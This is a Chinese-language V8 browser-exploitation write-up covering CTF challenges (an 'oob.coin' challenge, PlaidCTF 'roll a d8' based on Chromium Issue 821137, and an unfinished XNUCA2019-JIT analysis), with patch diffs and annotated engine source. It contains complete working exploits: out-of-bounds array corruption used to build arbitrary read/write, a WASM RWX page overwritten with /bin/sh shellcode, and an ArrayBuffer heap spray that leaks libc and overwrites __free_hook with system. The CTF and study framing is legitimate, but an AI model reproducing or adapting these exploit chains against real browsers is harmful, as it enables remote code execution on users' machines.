这里得吐槽一下,我看网上很多 wp 都说是在 JSReceiver::ToPrimitive 函数中通过 GetMethod 调用的 valueOf,也就是调用 exotic_to_prim 哪里。但是这里其实获取的是 Symbol.toPrimitive 方法,真正调用 valueOf 的函数是 OrdinaryToPrimitive。所以真的不能人云亦云,还是得自己好好分析源码。

漏洞利用

//let debug = (o) => {
//      %DebugPrint(o);
//      %SystemBreak();
//};

function hexx(str, value)
{
        print("\033[32m[+]"+ str+": \033[0m0x"+value.toString(16));
}

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

function d2l(x)
{
        d_buf[0] = x;
        return l_buf[0];
}

function l2d(x)
{
        l_buf[0] = x;
        return d_buf[0];
}

var x = {
        valueOf:function(){
                oob.length = 0x100;
                return 2.1729236899484e-311;
        }
}

let oob = [1.1, 1.2, 1.3, 1.4];
let mm1 = [1.1, 1.2, 1.3, 1.4, 1.1, 1.1, 1.1, 1.1];
let mm2 = [1.1, 1.1, 1.1];

let arr = [1.1];
var arb_buf = new ArrayBuffer(0x100);
var arb = new DataView(arb_buf);
oob.coin(1, x);

if (arr[1023] == undefined)
{
        throw "FAILED to overwrite arr.length";
} else {
        hexx("arr.length", arr.length);
}

var tmp = [0xeabeef, arb_buf, arr];
var backing_store_index = -1n;

for (let i = 0; i < 1022; i++)
{
        if (0x00eabeef00000000n == d2l(arr[i]))
        {
                backing_store_index = (d2l(arr[i+1]) + 0x20n -1n - (d2l(arr[i+2]) - 0x8n - 1n)) / 8n;
                break;
        }
}

if (backing_store_index == -1n || backing_store_index > 1023n)
{
        throw "Error backing_store_index";
}
hexx("backing_store_index", backing_store_index);


function arb_read(addr)
{
        arr[backing_store_index] = l2d(addr);
        return arb.getBigInt64(0, true);
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

tmp[0] = 0xdabeef;
tmp[1] = wasm_instance;

var wasm_instance_addr = -1n;
for (let i = 0; i < 1023; i++)
{
        if (0x00dabeef00000000n == d2l(arr[i]))
        {
                wasm_instance_addr = d2l(arr[i+1]) - 1n;
                break;
        }
}

if (wasm_instance_addr == -1n)
{
        throw "Error wasm_instance_addr";
}

hexx("wasm_instance_addr", wasm_instance_addr);

var rwx_addr = arb_read(wasm_instance_addr+0x88n);
hexx("rwx_addr", rwx_addr);

var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];

var calc = [
        72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
        96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
        105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
        72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
        72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
        184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
        94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5
];

arr[backing_store_index] = l2d(rwx_addr);
for (let i = 0; i < shellcode.length; i++)
{
        arb.setBigInt64(i*8, shellcode[i], true);
}

//for (let i = 0; i < calc.length; i++)
//{
//        arb.setUint8(i, calc[i]);
//}

pwn();

PlaidCTF roll a d8【Array.from 中忽略 new 特性而导致的OOB、堆喷ArrayBuffer和泄漏libc_base小技巧】

环境搭建

git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync -D

漏洞分析
该漏洞是一个真实的漏洞,详细见:Issue 821137
然后给了回归测试样例,可以当作 poc 用:

<script>
let oobArray = [];
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
  {
    counter : 0,
    max : 1024 * 1024 * 8,
    next() {
      let result = this.counter++;
      if (this.counter == this.max) {
        oobArray.length = 0;
        return {done: true};
      } else {
        return {value: result, done: false};
      }
    }
  }
) });
oobArray[oobArray.length - 1] = 0x41414141;
</script>

其实这里对测试程序简单分析就可以改改打了,毕竟就是个OOB,但是这里还是来简单分析下漏洞产生原因。
先来看下补丁:

diff --git a/src/builtins/builtins-array-gen.cc b/src/builtins/builtins-array-gen.cc
index dcf3be4..3a74342 100644
--- a/src/builtins/builtins-array-gen.cc
+++ b/src/builtins/builtins-array-gen.cc
@@ -1945,10 +1945,13 @@
   void GenerateSetLength(TNode<Context> context, TNode<Object> array,
                          TNode<Number> length) {
     Label fast(this), runtime(this), done(this);
+    // TODO(delphick): We should be able to skip the fast set altogether, if the
+    // length already equals the expected length, which it always is now on the
+    // fast path.
     // Only set the length in this stub if
     // 1) the array has fast elements,
     // 2) the length is writable,
-    // 3) the new length is greater than or equal to the old length.
+    // 3) the new length is equal to the old length.
 
     // 1) Check that the array has fast elements.
     // TODO(delphick): Consider changing this since it does an an unnecessary
@@ -1970,10 +1973,10 @@
       // BranchIfFastJSArray above.
       EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
 
-      // 3) If the created array already has a length greater than required,
+      // 3) If the created array's length does not match the required length,
       //    then use the runtime to set the property as that will insert holes
-      //    into the excess elements and/or shrink the backing store.
-      GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+      //    into excess elements or shrink the backing store as appropriate.
+      GotoIf(SmiNotEqual(length_smi, old_length), &runtime);
 
       StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                      length_smi);

可以看到这里仅仅将 SmiLessThan 修改成了 SmiNotEqual,这里直接定位下源码:

  void GenerateSetLength(TNode<Context> context, TNode<Object> array,
                         TNode<Number> length) {
    // 定义了fast、runtime、done标签
    Label fast(this), runtime(this), done(this);
    // Only set the length in this stub if
    // 1) the array has fast elements,
    // 2) the length is writable,
    // 3) the new length is greater than or equal to the old length.

    // 1) Check that the array has fast elements.
    // TODO(delphick): Consider changing this since it does an an unnecessary
    // check for SMIs.
    // TODO(delphick): Also we could hoist this to after the array construction
    // and copy the args into array in the same way as the Array constructor.
    // 如果数组array是FastJSArray则执行fast,否则执行runtime
    // 根据poc得知这里走的是fast路径
    BranchIfFastJSArray(array, context, &fast, &runtime);

    BIND(&fast);
    {
      TNode<JSArray> fast_array = CAST(array);
	  // length_smi为传入的参数length的值
      TNode<Smi> length_smi = CAST(length);
      // old_length为传入的数组的长度
      TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
      // old_length得为正数
      CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));

      // 2) Ensure that the length is writable.
      // TODO(delphick): This check may be redundant due to the
      // BranchIfFastJSArray above.
      // 确保fast_array的length属性是可写的
      EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

      // 3) If the created array already has a length greater than required,
      //    then use the runtime to set the property as that will insert holes
      //    into the excess elements and/or shrink the backing store.
      // 这里根据注释可以知道:
      //	当 length_smi < old_length 时,将执行runtime去缩小(也不一定是缩小,可能是插入hole,但是array.length会减小)数组大小
      GotoIf(SmiLessThan(length_smi, old_length), &runtime);
	  //	当 length_smi >= old_length 时,将执行StoreObjectFieldNoWriteBarrier
	  // 这里可以简单跟踪下 StoreObjectFieldNoWriteBarrier 函数:
	  //			发现其大概就是执行 fast_array.JSArray::kLengthOffset = length_smi
	  //			也就是简单的修改 array 的length属性为length_smi
      StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                     length_smi);

      Goto(&done); // 跳转到done标签
    }

    BIND(&runtime);
    {
      // 由上面的注释可以知道,这里会动态的缩减数组
      CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
                  CodeStubAssembler::LengthStringConstant(), length,
                  SmiConstant(LanguageMode::kStrict));
      Goto(&done); // 跳转到done标签
    }

    BIND(&done);
  }
};

大致逻辑都注释了,都比较清晰,漏洞也比较明显了,就是 fast 路径下的如下逻辑:

// 3) If the created array already has a length greater than required,
      //    then use the runtime to set the property as that will insert holes
      //    into the excess elements and/or shrink the backing store.
      // 这里根据注释可以知道:
      //	当 length_smi < old_length 时,将执行runtime去缩小(也不一定是缩小,可能是插入hole,但是array.length会减小)数组大小
      GotoIf(SmiLessThan(length_smi, old_length), &runtime);
	  //	当 length_smi >= old_length 时,将执行StoreObjectFieldNoWriteBarrier
	  // 这里可以简单跟踪下 StoreObjectFieldNoWriteBarrier 函数:
	  //			发现其大概就是执行 fast_array.JSArray::kLengthOffset = length_smi
	  //			也就是简单的修改 array 的length属性为length_smi
      StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                     length_smi);

可以看到这里当 length_smi >= old_length 时,会执行 array.length = length_smi,啥意思呢?就是如果数组大小 array.length = old_length 小于等于某个值 length_smi 时,会将数组的大小设置为 length_smiarray.length = length_smi。注意这是在引擎层面所设置的,所以当 length_smi > old_length 时,这里就是单纯的把数组的 length 属性的值给增大了,那么这里就会发生了数组越界了。

当时还有同学问我,把 array.length 增大了,数组的 elements 不是会自动增大吗?这个是在 JS 层的逻辑,以上的分析都是在引擎层面,所以不要搞混了

但是这么明显的错误难道 chrome 团队看不出来吗?所以这里还得来看看该漏洞(逻辑)的触发路径,这里根据 poc 或者 issue 上的描述可以知道这里是跟 Array.from 方法相关,这里还是直接定位源码,由于源码较长且 c++ 代码比较难看,所以这里先用 polyfill 项目来看下 Array.from 的大致逻辑:

注:这里的参数似乎是与 Array.from.call 传入的参数是反过来的,也就是从右到左的

// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )
  define(
    Array, 'from',
    function from(items) {
      var mapfn = arguments[1];
      var thisArg = arguments[2];

      var c = strict(this); // this值,也就是poc中 Array.from.call 的第一个参数,其传入的是一个函数
      if (mapfn === undefined) {
        var mapping = false;
      } else {
        if (!IsCallable(mapfn)) throw TypeError();
        var t = thisArg;
        mapping = true;
      }
      var usingIterator = GetMethod(items, $$iterator); // 获取迭代器,也就是传入的第二个参数
      if (usingIterator !== undefined) {
         if (IsConstructor(c)) { // 这里我们传入的是一个构造函数(这里不能传入箭头函数,因为箭头函数不是构造函数),所以这里会使用 new 创建一个 array,记住这里
          var a = new c();
        } else {
          a = new Array(0);
        }
        var iterator = GetIterator(items, usingIterator);
        var k = 0; // 迭代次数
        while (true) { // 下面就是迭代赋值的过程
          var next = IteratorStep(iterator);
          if (next === false) { // 迭代结束
            a.length = k; // 将数组长度设置为迭代次数,即a.length = k
            return a; // 返回数组
          }
          // 下面就是赋值过程
          var nextValue = IteratorValue(next);
          if (mapping)
            var mappedValue = mapfn.call(t, nextValue);
          else
            mappedValue = nextValue;
          a[k] = mappedValue;
          k += 1;
        }
      }
......
    });

可以从这里看出 Array.from 的大致流程(这里是按照 poc 的传入参数分析的):
 1)先利用传入的第一个参数 new 一个数组 array
 2)迭代赋值
 3)设置数组长度等于迭代次数
然后再来看看 v8 引擎是如何实现 Array.from 的,这里由于源码较长,就简单的结合 poc 看下逻辑:

// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
  TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
  TNode<Int32T> argc = UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount));
  // 获取参数列表argc
  CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
 
  TNode<Object> map_function = args.GetOptionalArgumentValue(1);

  // If map_function is not undefined, then ensure it's callable else throw.
  // 如果 map_function 不是未定义的,则确保其是一个回调函数(回调函数就是一个函数)
  {
    Label no_error(this), error(this);
    GotoIf(IsUndefined(map_function), &no_error);
    GotoIf(TaggedIsSmi(map_function), &error);
    Branch(IsCallable(map_function), &no_error, &error);

    BIND(&error);
    ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);

    BIND(&no_error);
  }

  Label iterable(this), not_iterable(this), finished(this), if_exception(this);
  // 这里的参数也是反着取的,this_arg就是第一个参数,item就是第二个参数
  TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
  TNode<Object> items = args.GetOptionalArgumentValue(0);
  // The spec doesn't require ToObject to be called directly on the iterable
  // branch, but it's part of GetMethod that is in the spec.
  // 将 items 转化为类数组对象
  TNode<JSReceiver> array_like = ToObject(context, items);
  // 定义了两个变量
  TVARIABLE(Object, array);
  TVARIABLE(Number, length);

  // Determine whether items[Symbol.iterator] is defined:
  // 检测 item 是否定义了迭代器,这里根据 poc 是定义了的
  IteratorBuiltinsAssembler iterator_assembler(state());
  Node* iterator_method = iterator_assembler.GetIteratorMethod(context, array_like);
  Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);
  
  BIND(&iterable);
  {
    // 定义了变量 index = 0,这个就是迭代次数
    TVARIABLE(Number, index, SmiConstant(0));
    TVARIABLE(Object, var_exception);
    Label loop(this, &index), loop_done(this),
        on_exception(this, Label::kDeferred),
        index_overflow(this, Label::kDeferred);

    // Check that the method is callable.
    // 检测 next() 方法是否可调用
    {
      Label get_method_not_callable(this, Label::kDeferred), next(this);
      GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
      GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
      Goto(&next);

      BIND(&get_method_not_callable);
      ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
                     iterator_method);

      BIND(&next);
    }

    // Construct the output array with empty length.
    // 创建一个空数组
    // ConstructArrayLike 会先判断 receiver 是否是构造函数,如果是的话则是利用构造函数 new 一个数组
    array = ConstructArrayLike(context, args.GetReceiver());

    // Actually get the iterator and throw if the iterator method does not yield
    // one.
    IteratorRecord iterator_record = iterator_assembler.GetIterator(context, items, iterator_method);
	
    TNode<Context> native_context = LoadNativeContext(context);
    TNode<Object> fast_iterator_result_map =
        LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
	// 开始循环迭代
    Goto(&loop);

    BIND(&loop);
    {
      // Loop while iterator is not done.
      TNode<Object> next = CAST(iterator_assembler.IteratorStep(
          context, iterator_record, &loop_done, fast_iterator_result_map));
      TVARIABLE(Object, value,
                CAST(iterator_assembler.IteratorValue(
                    context, next, fast_iterator_result_map)));

      // If a map_function is supplied then call it (using this_arg as
      // receiver), on the value returned from the iterator. Exceptions are
      // caught so the iterator can be closed.
      
      {
        Label next(this);
        GotoIf(IsUndefined(map_function), &next);

        CSA_ASSERT(this, IsCallable(map_function));
        Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
                         this_arg, value.value(), index.value());
        GotoIfException(v, &on_exception, &var_exception);
        value = CAST(v);
        Goto(&next);
        BIND(&next);
      }

      // Store the result in the output object (catching any exceptions so the
      // iterator can be closed).
      // 存储 value 到输出数组中,其中kCreateDataProperty函数会动态调整数组 elements 的大小
      Node* define_status =
          CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
                      index.value(), value.value());
      GotoIfException(define_status, &on_exception, &var_exception);
	  // 迭代次数加1
      index = NumberInc(index.value());

      // The spec requires that we throw an exception if index reaches 2^53-1,
      // but an empty loop would take >100 days to do this many iterations. To
      // actually run for that long would require an iterator that never set
      // done to true and a target array which somehow never ran out of memory,
      // e.g. a proxy that discarded the values. Ignoring this case just means
      // we would repeatedly call CreateDataProperty with index = 2^53.
      CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
        BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
                                           NumberConstant(kMaxSafeInteger), ok,
                                           not_ok);
      });
      Goto(&loop);
    }
	// 迭代结束
    BIND(&loop_done);
    {
      length = index; // 可以看到这里的 length 就是迭代次数
      Goto(&finished);
    }

    BIND(&on_exception);
    {
      // Close the iterator, rethrowing either the passed exception or
      // exceptions thrown during the close.
      iterator_assembler.IteratorCloseOnException(context, iterator_record,
                                                  &var_exception);
    }
  }

  // Since there's no iterator, items cannot be a Fast JS Array.
  // 如果不是一个迭代器,则会走这条路径,这里与漏洞利用无关,就不看了
  BIND(&not_iterable);
  {
......
  }

  BIND(&finished);

  // Finally set the length on the output and return it.
  // 最后调用 GenerateSetLength 函数设置返回数组的长度
  // 其中传入的参数:array.value()就是待返回数组;length.value()就是迭代次数
  GenerateSetLength(context, array.value(), length.value());
  args.PopAndReturn(array.value());
}

通过对源码的简要分析,可以知道迭代过程中使用的是 kCreateDataProperty 函数进行数据的赋值,从该函数的注释可以知道该函数会动态修改 elements 的大小:

// New-space filled up or index too large, set element via runtime
CallRuntime(Runtime::kCreateDataProperty, context, values_array, index,
value);

所以最后的迭代次数 index 必定是不大于 array.length 的,也就是说原则上 GenerateSetLengthlength_smiold_length 的大小关系是:old_length >= length_smi,这也是为什么开发人员用的是 SmiLessThan 的原因。而且认为输出数组是在内部创建的,JS层无法直接修改。
但是这里却忽略了一种情况,那就是 new 可以返回用户自定义对象:
 1)new 默认返回 this 实例
 2)当构造函数带有 return 语句时:
  1)若 return 一个原始类型,则还是返回 this 实例
  2)若 return 一个对象,则返回的就是该对象
所以这里其实我们是可以让输出数组为一个我们在JS层面可控的的数组,然后再来结合 poc 看看:

let oobArray = [];
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
  {
    counter : 0,
    max : 1024 * 1024 * 8,
    next() {
      let result = this.counter++;
      if (this.counter == this.max) {
        oobArray.length = 0;
        return {done: true};
      } else {
        return {value: result, done: false};
      }
    }
  }
) });
oobArray[oobArray.length - 1] = 0x41414141;

所以这里漏洞触发逻辑就很简单了:
 1)首先,第一个参数传入的是一个构造函数:

function() { return oobArray }

这是为了确保输出数组就是 oobArray,这样我们在 JS 层面就可以控制输出数组了
 2)在迭代结束时,修改输出数组 oobArraylength 为 0

这里由于是在 JS 层面操作的,所以会同时修改 elements,这也是漏洞可以利用的关键,不然后面的操作就没啥意义了。

 3)最后进入 GenerateSetLength 函数,其中 length_smi 就是迭代次数(这里上面已经分析过了,忘了的同学可以在看下源码注释),但是这里的输出数组的长度已经被修改为了0,即 oobArray.length = 0,而且由于是在 JS 层面的操作,所以这里的 elements 其实也变为了 FixedDoubleArray[0]。而这里的 length_smi > oobArray.length,所以会直接设置 oobArray.length = length_smi 因此导致溢出。

所以漏洞修复也比较简单,只要 length_smi != old_length 就动态调整数组大小。
漏洞利用
对于 OOB 类型的漏洞利用就不想多说了,但是由于对 v8gc 机制不是很熟悉,所以有效地方还有一些疑问,但是写 exp 还是可以勉勉强强写出来的。

const {log} = console;
/*
let debug = (o) => {
        %DebugPrint(o);
};

let int3 = () => {
        %SystemBreak();
};

let ddebug = (o) => {
        debug(o);
        int3();
};
*/

let hexx = (str, value) => {
        print("\033[32m[+]"+ str+": \033[0m0x"+value.toString(16));
};

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new Uint32Array(raw_buf);

let d2l = (v) => {
        d_buf[0] = v;
        return [l_buf[1], l_buf[0], l_buf[1] * 0x100000000 + l_buf[0]];
};

let l2d = (h, l) => {
        l_buf[0] = l;
        l_buf[1] = h;
        return d_buf[0];
};

var oobArray = [1.1];
var heap_arr = [];
const MAX_LEN = 1024 * 8;
const HeapSpray_Num = 0x30;

Array.from.call(function() { return oobArray; }, {[Symbol.iterator]() {
        return {
                counter: 0,
                next() {
                        if (this.counter++ > MAX_LEN) {
                                oobArray.length = 1;
                                return { done:true};
                        } else {
                                return {value:1.1, done:false};
                        }
                }
        };
}});

for (let i = 0; i < HeapSpray_Num; i++) {
        heap_arr[i] = new ArrayBuffer(0x2024);
}

var victim_oob_idx = -1;
var victim_arr_idx = -1;

for (let i = 0; i < MAX_LEN; i++) {
        let [,,size] = d2l(oobArray[i]);
        if (size === 0x202400000000) {
                victim_oob_idx = i+1;
                oobArray[i] = l2d(0x2025, 0);
                break;
        };
}

if (victim_oob_idx == -1) {
        throw "FAILED to hit ArrayBuffer oob_idx";
}

for (let i = 0; i < HeapSpray_Num; i++) {
//      hexx("len", heap_arr[i].byteLength);
        if (heap_arr[i].byteLength === 0x2025) {
                victim_arr_idx = i;
                break;
        }
}

if (victim_arr_idx == -1) {
        throw "FAILED to hit ArrayBuffer arr_idx";
}

hexx("victim_oob_idx", victim_oob_idx);
hexx("victim_arr_idx", victim_arr_idx);
oobArray[victim_oob_idx-1] = l2d(0x2024, 0);

var dv = new DataView(heap_arr[victim_arr_idx]);

function arb_read(addr_h, addr_l) {
        oobArray[victim_oob_idx] = l2d(addr_h, addr_l);
        return d2l(dv.getFloat64(0, true));
}

var [heap_h, heap_l, heap_addr] = d2l(oobArray[victim_oob_idx]);
hexx("heap_addr", heap_addr);

var libc_h = -1, libc_l = -1, libc_base = -1;
var curr_chunk = heap_l - 0x10;
for (let i = 0; i < 0x500; i++) {
        let [,prev_size,] = arb_read(heap_h, curr_chunk);
        let [,size,] = arb_read(heap_h, curr_chunk+0x8);
        if (size !== 0 && size % 2 === 0 ) {
                let tmp_ptr = curr_chunk - prev_size;
                let [fd_h, fd_l, fd] = arb_read(heap_h, tmp_ptr+0x10);
                let [bk_h, bk_l, bk] = arb_read(heap_h, tmp_ptr+0x18);

                if ((fd_h & 0xff00) === 0x7f00) {
                        [libc_h, libc_l] = [fd_h, fd_l];
                        libc_base = fd - 0x3ebca0;
                        break;
                } else if ((bk_h & 0xff00) === 0x7f00) {
                        [libc_h, libc_l] = [bk_h, bk_l];
                        libc_base = bk - 0x3ebca0;
                        break;
                }

        }
        size -= ((size % 8) === 0? 0: 1);
        curr_chunk += size;
}

if (libc_base === -1) {
        throw "FAILED to leak libc_base";
}

var system = libc_base + 0x4f420;
var free_hook = libc_base + 0x3ed8e8;
hexx("libc_base", libc_base);
hexx("system_addr", system);
hexx("free_hook_addr", free_hook);

oobArray[victim_oob_idx] = l2d(libc_h, free_hook % 0x100000000);
dv.setFloat64(0, l2d(libc_h, system % 0x100000000), true);

function get_shell() {
        let shell_str = new String("/bin/sh\x00");
}

get_shell();
//ddebug(heap_arr[victim_arr_idx]);

XNUCA2019-JIT【BitwiseAnd 错误的 kNoWirte 属性导致的 类型混淆】== 未完成利用

题目来源与解析
环境搭建

git reset --hard 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync -D

漏洞分析

diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 5337ae3bda..f5cf34bb3b 100644
--- a/src/compiler/js-operator.cc
+++ b/src/compiler/js-operator.cc
@@ -597,7 +597,7 @@ CompareOperationHint CompareOperationHintOf(const Operator* op) {
 #define CACHED_OP_LIST(V)                                                \
   V(BitwiseOr, Operator::kNoProperties, 2, 1)                            \
   V(BitwiseXor, Operator::kNoProperties, 2, 1)                           \
-  V(BitwiseAnd, Operator::kNoProperties, 2, 1)                           \
+  V(BitwiseAnd, Operator::kNoWrite, 2, 1)                           \
   V(ShiftLeft, Operator::kNoProperties, 2, 1)                            \
   V(ShiftRight, Operator::kNoProperties, 2, 1)                           \
   V(ShiftRightLogical, Operator::kNoProperties, 2, 1)                    \

漏洞引入在 BitwiseAnd,其属性从 kNoProperties 修改为了 kNoWrite。首先得明白这里属性的含义与作用:

  // Properties inform the operator-independent optimizer about legal
  // transformations for nodes that have this operator.
  enum Property {
    kNoProperties = 0,
    kCommutative = 1 << 0,  // OP(a, b) == OP(b, a) for all inputs.
    kAssociative = 1 << 1,  // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
    kIdempotent = 1 << 2,   // OP(a); OP(a) == OP(a).
    kNoRead = 1 << 3,       // Has no scheduling dependency on Effects
    kNoWrite = 1 << 4,      // Does not modify any Effects and thereby
                            // create new scheduling dependencies.
    kNoThrow = 1 << 5,      // Can never generate an exception.
    kNoDeopt = 1 << 6,      // Can never generate an eager deoptimization exit.
    kFoldable = kNoRead | kNoWrite,
    kKontrol = kNoDeopt | kFoldable | kNoThrow,
    kEliminatable = kNoDeopt | kNoWrite | kNoThrow,
    kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent
  };

从注释可以看出这里 kNoWrite的含义就是该操作不产生可见的副作用,这些属性会给优化器传递一定的优化信息,所以这里的问题大概就是 BitwiseAnd 操作会产生一定的副作用(感觉这个翻译不是很好,但是网上都这样叫)从而导致推测优化存在问题。

这里的不产生副作用我简单的理解为:该操作不会修改对象状态

补丁打在 BitwiseAnd 上,那么就得从该函数出发进行分析。在 Turbofan 的优化过程中,存在一个 generic-lowering 阶段,其作用是将 JS 前缀指令转换为更简单的调用和 stub 调用。在 src\compiler\js-generic-lowering.cc,可以看到在 generic-lowering中,BitwiseAnd 节点被替换成了 Builtins::kBitwiseAnd

......
#define REPLACE_STUB_CALL(Name)                                              \
  void JSGenericLowering::LowerJS##Name(Node* node) {                        \
    CallDescriptor::Flags flags = FrameStateFlagForCall(node);               \
    Callable callable = Builtins::CallableFor(isolate(), Builtins::k##Name); \
    ReplaceWithStubCall(node, callable, flags);                              \
  }
......
REPLACE_STUB_CALL(BitwiseAnd)
......

GenericLoweringPhase
GenericLoweringPhase 阶段在 SimplifiedLoweringPhase 后面,查看源码:

struct GenericLoweringPhase {
 static const char* phase_name() { return "generic lowering"; }

 void Run(PipelineData* data, Zone* temp_zone) {
   GraphReducer graph_reducer(temp_zone, data->graph(), data->jsgraph()->Dead());
   JSGenericLowering generic_lowering(data->jsgraph());
   AddReducer(data, &graph_reducer, &generic_lowering);
   graph_reducer.ReduceGraph();
 }
};

跟进就到了上面分析的地方:

//  Lowers JS-level operators to runtime and IC calls in the "generic" case.
Reduction JSGenericLowering::Reduce(Node* node) {
 switch (node->opcode()) {
#define DECLARE_CASE(x)  \
   case IrOpcode::k##x: \
     Lower##x(node);    \
     break;
   JS_OP_LIST(DECLARE_CASE)
#undef DECLARE_CASE
   default:
     // Nothing to see.
     return NoChange();
 }
 return Changed(node);
}

#define REPLACE_STUB_CALL(Name)                                              \
 void JSGenericLowering::LowerJS##Name(Node* node) {                        \
   CallDescriptor::Flags flags = FrameStateFlagForCall(node);               \
   Callable callable = Builtins::CallableFor(isolate(), Builtins::k##Name); \
   ReplaceWithStubCall(node, callable, flags);                              \
 }
......
REPLACE_STUB_CALL(BitwiseAnd)
......

Builtins::kBitwiseAnd
Builtins::kBitwiseAnd 定义如下:

TF_BUILTIN(BitwiseAnd, NumberBuiltinsAssembler) {
  EmitBitwiseOp<Descriptor>(Operation::kBitwiseAnd);
}

展开如下:

 template <typename Descriptor>
  void EmitBitwiseOp(Operation op) {
    Node* left = Parameter(Descriptor::kLeft);
    Node* right = Parameter(Descriptor::kRight);
    Node* context = Parameter(Descriptor::kContext);

    VARIABLE(var_left_word32, MachineRepresentation::kWord32);
    VARIABLE(var_right_word32, MachineRepresentation::kWord32);
    VARIABLE(var_left_bigint, MachineRepresentation::kTagged, left);
    VARIABLE(var_right_bigint, MachineRepresentation::kTagged);
    Label if_left_number(this), do_number_op(this);
    Label if_left_bigint(this), do_bigint_op(this);

    TaggedToWord32OrBigInt(context, left, &if_left_number, &var_left_word32,
                           &if_left_bigint, &var_left_bigint);
    BIND(&if_left_number);
    TaggedToWord32OrBigInt(context, right, &do_number_op, &var_right_word32,
                           &do_bigint_op, &var_right_bigint);
    BIND(&do_number_op);
    Return(BitwiseOp(var_left_word32.value(), var_right_word32.value(), op));

    // BigInt cases.
    BIND(&if_left_bigint);
    TaggedToNumeric(context, right, &do_bigint_op, &var_right_bigint);

    BIND(&do_bigint_op);
    Return(CallRuntime(Runtime::kBigIntBinaryOp, context,
                       var_left_bigint.value(), var_right_bigint.value(),
                       SmiConstant(op)));
  }

函数功能比较简单:

  • 利用 TaggedToWord32OrBigInt 函数检查 op 的两个操作数是否为 BigInt

    • 其中一个操作数为 BigInt 则调用 BitwiseOp
    • 两个都不为 BigInt 则调用 Runtime::kBigIntBinaryOp

简单看下 BitwiseOp 函数:

TNode<Number> CodeStubAssembler::BitwiseOp(Node* left32, Node* right32,
                                           Operation bitwise_op) {
  switch (bitwise_op) {
    case Operation::kBitwiseAnd:
      return ChangeInt32ToTagged(Signed(Word32And(left32, right32)));
    case Operation::kBitwiseOr:
      return ChangeInt32ToTagged(Signed(Word32Or(left32, right32)));
    case Operation::kBitwiseXor:
      return ChangeInt32ToTagged(Signed(Word32Xor(left32, right32)));
......
    default:
      break;
  }
  UNREACHABLE();
}

可以看到就是根据不同的 op 执行不同的操作,后面会利用 TaggedToWord32OrBigInt 函数,简单分析下。
TaggedToWord32OrBigInt
通过注释可以知道,该函数的功能是将 value 转换为一个 word32 的值,并且如果转换后是一个 Number 则跳转到 if_number;如果转换后是一个 BigInt 则跳转到 if_bigint

// Truncate {value} to word32 and jump to {if_number} if it is a Number,
// or find that it is a BigInt and jump to {if_bigint}.
void CodeStubAssembler::TaggedToWord32OrBigInt(Node* context, Node* value,
                                               Label* if_number,
                                               Variable* var_word32,
                                               Label* if_bigint,
                                               Variable* var_bigint) {
  TaggedToWord32OrBigIntImpl<Object::Conversion::kToNumeric>(
      context, value, if_number, var_word32, if_bigint, var_bigint);
}

该函数直接调用的 TaggedToWord32OrBigIntImpl,模板参数为 Object::Conversion::kToNumeric,跟进 TaggedToWord32OrBigIntImpl 函数:

template <Object::Conversion conversion>
void CodeStubAssembler::TaggedToWord32OrBigIntImpl(
    Node* context, Node* value, Label* if_number, Variable* var_word32,
    Label* if_bigint, Variable* var_bigint, Variable* var_feedback) {
